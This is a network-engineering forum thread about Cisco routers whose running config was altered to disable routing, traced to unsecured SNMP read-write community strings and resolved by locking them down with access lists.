Cisco 2600 running config changed by itself - turned off routing

[Drew Clark]

Hello,

I'm looking for help from the experts here to confirm some facts:

We have a 2600 (yes, still running) at our Edge interfacing the ISP. The last couple days, overnight, the router would just stop routing. All links were up, router was accessible. Restarting the router brought things back.

After not seeing anything wrong in the config, we switched to a backup 2600 last night. Again, overnight, the same thing happened. This time, I found the running config had been changed! The default route had been deleted and "no ip routing" had been set.

Can anyone confirm that IOS cannot change this config on its own? Is there any technical reason this config would have changed without user intervention? If not, we may have been hacked. Telnet is not accessible from the Internet on either FE interface, but may have been accessed via a guest network. Thanks for any insight.

[Timothy File]

We have ran into this same exact issue. 

No change to the running-config since it was last saved to the startup-config. 

No ip routing & no ip cef are in the running config but are not in the startup-config.

Ran into several different routers with different IOS versions that had the same issue occur. 

Several different 1721's  for different customers running different IOS versions.

Even ran into it with a Cisco 2951 running (C2951-UNI​VERSALK9-M), Version 15.1(3)T1 

So it doesn't seem to be specific to version or type of router. 

Not an issue with the ip http server and/or ip http secure server getting left on in the config. The routers we ran into the issue with had them disabled. 

Because the startup-config was never touched when the router is reloaded it pulls the startup-config and works like it was before those two commands showed up in the running config.

Could it possibly be an SNMP type hack?

[Richard Burts]

As I suggested in a previous response in this thread, yes SNMP is certainly one of the ways that changes like this could be made.

HTH

Rick

[Timothy File · Accepted solution]

Thank you Rick. Taking a closer look at the routers that had been affected I found that their community strings with RW were either not locked by an ACL or were locked by an ACL but the ACL was not configured.

I believe not having the SNMP community string RW locked down is the cause in our case.

When setting RO (readonly) or RW (Read and write) community strings make sure they are locked with an ACL. Also, make sure you have the ACL configured and permiting only the snmp server monitoring the router.

If you don't lock RO someone could read your current configuration through SNMP.

If you don't lock RW someone could read and write the configuration on the router through SNMP.

Example:

access-list 4 permit (IP of your SNMP server)

snmp-server community private RW 4  

(config)#snmp-server community private RW ?

  <1-99>       Std IP accesslist allowing access with this community string
  <1300-1999>  Expanded IP accesslist allowing access with this community string
  WORD         Access-list name
  ipv6         Specify IPv6 Named Access-List
  <cr>

[puissance.ouedraogo]

Hi everyone!

we are also experiencing exactly the same issue at our office, can cisco support gusy find out a way to get rid of this?  because, i'm pretty sure this is not an attack (after reading all these posts from peoples trying to solve it) since it happens excatly the same way on different routers with different configurations, also if was trying to take down a network i would not just set "no ip routing on the running-config" at least i would write it, or do something even worse, like wipe out the whole config. I hope you'll work it out.

Thanks!

[Preston Chilcote]

Timmy has the right answer.  TAC has confirmed that this behavior is seen with routers configured with easy to guess SNMP strings (like "private" and "public) and RW access. 

Please see http://www.cisco.com/c/en/us/support/docs/ip/access-lists/13608-21.html#anc50 for tips on how to harden SNMP.

The ipForwarding MIB allows users to disable routing and forwarding with an snmpset.

[Drew Clark]

In our case, in addition to http Server being enabled, we also had SNMP private RW wide open. In the process to resolution this was removed. We haven't had a problem since.